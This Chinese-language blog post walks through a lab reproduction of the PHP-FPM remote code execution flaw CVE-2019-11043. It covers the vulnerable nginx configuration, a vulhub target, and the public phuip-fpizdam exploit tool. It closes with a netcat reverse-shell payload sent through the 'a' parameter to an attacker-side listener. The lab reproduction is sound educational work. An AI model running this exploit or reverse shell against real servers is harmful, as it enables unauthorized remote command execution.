天天看點

PHP 遠端代碼執行漏洞複現(CVE-2019-11043)

作者:網絡安全菜鳥

漏洞描述

CVE-2019-11043 是一個遠端代碼執行漏洞,使用某些特定配置的 Nginx + PHP-FPM 的伺服器存在漏洞,可允許攻擊者遠端執行代碼。

向Nginx + PHP-FPM的伺服器 URL發送 %0a 時,伺服器傳回異常。

該漏洞需要在nginx.conf中進行特定配置才能觸發。具體配置如下:

location ~ [^/]\.php(/|$) {
...
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass   php:9000;
...
}           

攻擊者可以使用換行符(%0a)來破壞 fastcgi_split_path_info 指令中的Regexp。 Regexp被損壞導緻PATH_INFO為空,進而觸發該漏洞。

影響範圍

在 Nginx + PHP-FPM 環境下,當啟用了上述 Nginx 配置後,以下 PHP 版本受本次漏洞影響,另外,PHP 5.6版本也受此漏洞影響,但目前隻能 Crash,不可以遠端代碼執行:

PHP 7.0 版本
PHP 7.1 版本
PHP 7.2 版本
PHP 7.3 版本           

漏洞複現

使用 p 牛的 docker 環境進行複現:

PHP-FPM 遠端代碼執行漏洞(CVE-2019-11043)

準備工作:安裝docker、golang環境

sudo apt-get install docker docker-compose
sudo apt install golang           

攻擊機:kali-linux-2022.4(192.168.81.162)

靶機:kali-linux-2022.4(192.168.81.150)

1.在靶機上搭建漏洞環境

git clone https://github.com/vulhub/vulhub.git           
PHP 遠端代碼執行漏洞複現(CVE-2019-11043)
cd vulhub/php/CVE-2019-11043
docker-compose up -d           
PHP 遠端代碼執行漏洞複現(CVE-2019-11043)

2.啟動環境後,通路 靶機ip:8080/index.php ,就可以看到漏洞環境的預設頁面。

PHP 遠端代碼執行漏洞複現(CVE-2019-11043)

3.安裝漏洞利用工具

git clone https://github.com/neex/phuip-fpizdam.git
cd phuip-fpizdam
go get -v && go build           
PHP 遠端代碼執行漏洞複現(CVE-2019-11043)

4.漏洞利用

PHP 遠端代碼執行漏洞複現(CVE-2019-11043)

5.通路 index.php?a=id

注意:隻有部分PHP-FPM子程序受到了污染,是以請嘗試幾次以執行該指令。

PHP 遠端代碼執行漏洞複現(CVE-2019-11043)
PHP 遠端代碼執行漏洞複現(CVE-2019-11043)

反彈shell

在環境中安裝 nc

PHP 遠端代碼執行漏洞複現(CVE-2019-11043)
PHP 遠端代碼執行漏洞複現(CVE-2019-11043)

攻擊機開啟監聽

nc -lvp 9999           
PHP 遠端代碼執行漏洞複現(CVE-2019-11043)

輸入payload

?a=nc -e /bin/bash 192.168.81.162 9999           

反彈shell成功

PHP 遠端代碼執行漏洞複現(CVE-2019-11043)

參考連結

http://blog.leanote.com/post/snowming/9da184ef24bd

繼續閱讀